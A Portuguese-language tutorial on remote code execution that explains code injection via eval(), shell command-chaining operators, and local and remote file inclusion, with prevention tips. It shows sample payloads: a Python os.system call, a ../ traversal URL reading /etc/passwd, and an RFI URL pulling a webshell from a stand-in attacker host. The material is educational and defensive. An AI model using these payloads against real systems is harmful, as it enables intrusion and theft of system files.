Remote Code Execution (RCE)
O que é?
É uma das vulnerabilidades mais críticas em segurança web. Ocorre quando um atacante consegue executar comandos arbitrários no sistema operacional ou código na linguagem da aplicação no servidor alvo.
Code Injection
Ocorre quando a aplicação permite que um atacante injete código que será interpretado pela linguagem de programação da própria aplicação (PHP, Python, JavaScript, etc.).
- Exemplo em Python (uso do
eval()): A funçãoeval()interpreta uma string como código.
# Código vulnerável
eval(input())- Exemplo de Payload:
__import__('os').system('ls')(Este comando lista os arquivos do servidor através da aplicação).
Command Injection
Ocorre quando a aplicação executa comandos do sistema operacional (Shell) utilizando inputs fornecidos pelo usuário sem a devida filtragem.
-
Exemplo de cenário: Uma aplicação que usa o comando
pingpara testar conectividade e aceita o IP do usuário. -
Operadores de encadeamento no Linux:
-
;(Ponto e vírgula): Executa o próximo comando após o anterior. -
&&(AND): Executa o segundo comando apenas se o primeiro for bem-sucedido. -
||(OR): Executa o segundo comando apenas se o primeiro falhar. -
|(Pipe): Passa a saída de um comando para a entrada de outro.
-
File Inclusion
LFI (Local File Inclusion)
O atacante consegue incluir arquivos que já residem no servidor local.
-
Path Traversal: Uso de sequências como
../para navegar fora do diretório web. -
Exemplo:
https://site.com/view?page=../../../../etc/passwd
RFI (Remote File Inclusion)
O atacante consegue incluir arquivos hospedados em servidores externos.
-
Funcionamento: A aplicação baixa e executa um script malicioso (como uma WebShell) de uma URL controlada pelo atacante.
-
Exemplo:
https://site.com/view?page=http://atacker.com/shell.txt
Como Prevenir
-
Evitar funções perigosas: Não utilizar funções como
eval(),exec(),system()oupassthru()com dados vindos do usuário. -
Sanitização de Input: Filtrar caracteres especiais de controle de shell (como
;,&,|). -
Whitelisting: Permitir apenas nomes de arquivos ou comandos pré-definidos.
-
Configuração de Servidor: Desabilitar a inclusão de arquivos remotos no arquivo de configuração da linguagem (ex:
allow_url_include = Offno PHP).